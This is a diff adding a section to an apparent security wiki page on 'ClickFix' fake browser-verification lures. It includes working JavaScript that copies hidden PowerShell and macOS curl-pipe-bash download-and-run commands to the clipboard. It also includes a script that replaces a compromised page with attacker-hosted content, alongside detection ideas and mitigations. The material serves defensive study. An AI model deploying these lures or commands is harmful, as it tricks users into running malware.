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Expand Up @@ -112,6 +112,76 @@ Blue-teams can combine clipboard, process-creation and registry telemetry to pin
* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.

## IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads

Recent campaigns mass-produce fake CDN/browser verification pages ("Just a moment…", IUAM-style) that coerce users into copying OS-specific commands from their clipboard into native consoles. This pivots execution out of the browser sandbox and works across Windows and macOS.

Key traits of the builder-generated pages
- OS detection via `navigator.userAgent` to tailor payloads (Windows PowerShell/CMD vs. macOS Terminal). Optional decoys/no-ops for unsupported OS to maintain the illusion.
- Automatic clipboard-copy on benign UI actions (checkbox/Copy) while the visible text may differ from the clipboard content.
- Mobile blocking and a popover with step-by-step instructions: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
- Optional obfuscation and single-file injector to overwrite a compromised site’s DOM with a Tailwind-styled verification UI (no new domain registration required).

Example: clipboard mismatch + OS-aware branching
```html
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok'; // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');
function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}
document.getElementById('chk').addEventListener('click', copyReal);
</script>
```

macOS persistence of the initial run
- Use `nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 &` so execution continues after the terminal closes, reducing visible artifacts.

In-place page takeover on compromised sites
```html
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html; // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com'; // apply Tailwind styles
document.head.appendChild(s);
})();
</script>
```

Detection & hunting ideas specific to IUAM-style lures
- Web: Pages that bind Clipboard API to verification widgets; mismatch between displayed text and clipboard payload; `navigator.userAgent` branching; Tailwind + single-page replace in suspicious contexts.
- Windows endpoint: `explorer.exe``powershell.exe`/`cmd.exe` shortly after a browser interaction; batch/MSI installers executed from `%TEMP%`.
- macOS endpoint: Terminal/iTerm spawning `bash`/`curl`/`base64 -d` with `nohup` near browser events; background jobs surviving terminal close.
- Correlate `RunMRU` Win+R history and clipboard writes with subsequent console process creation.

See also for supporting techniques

{{#ref}}
clone-a-website.md
{{#endref}}

{{#ref}}
homograph-attacks.md
{{#endref}}

## Mitigations

1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
Expand All @@ -132,5 +202,6 @@ Blue-teams can combine clipboard, process-creation and registry telemetry to pin
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
- [The ClickFix Factory: First Exposure of IUAM ClickFix Generator](https://unit42.paloaltonetworks.com/clickfix-generator-first-of-its-kind/)

{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}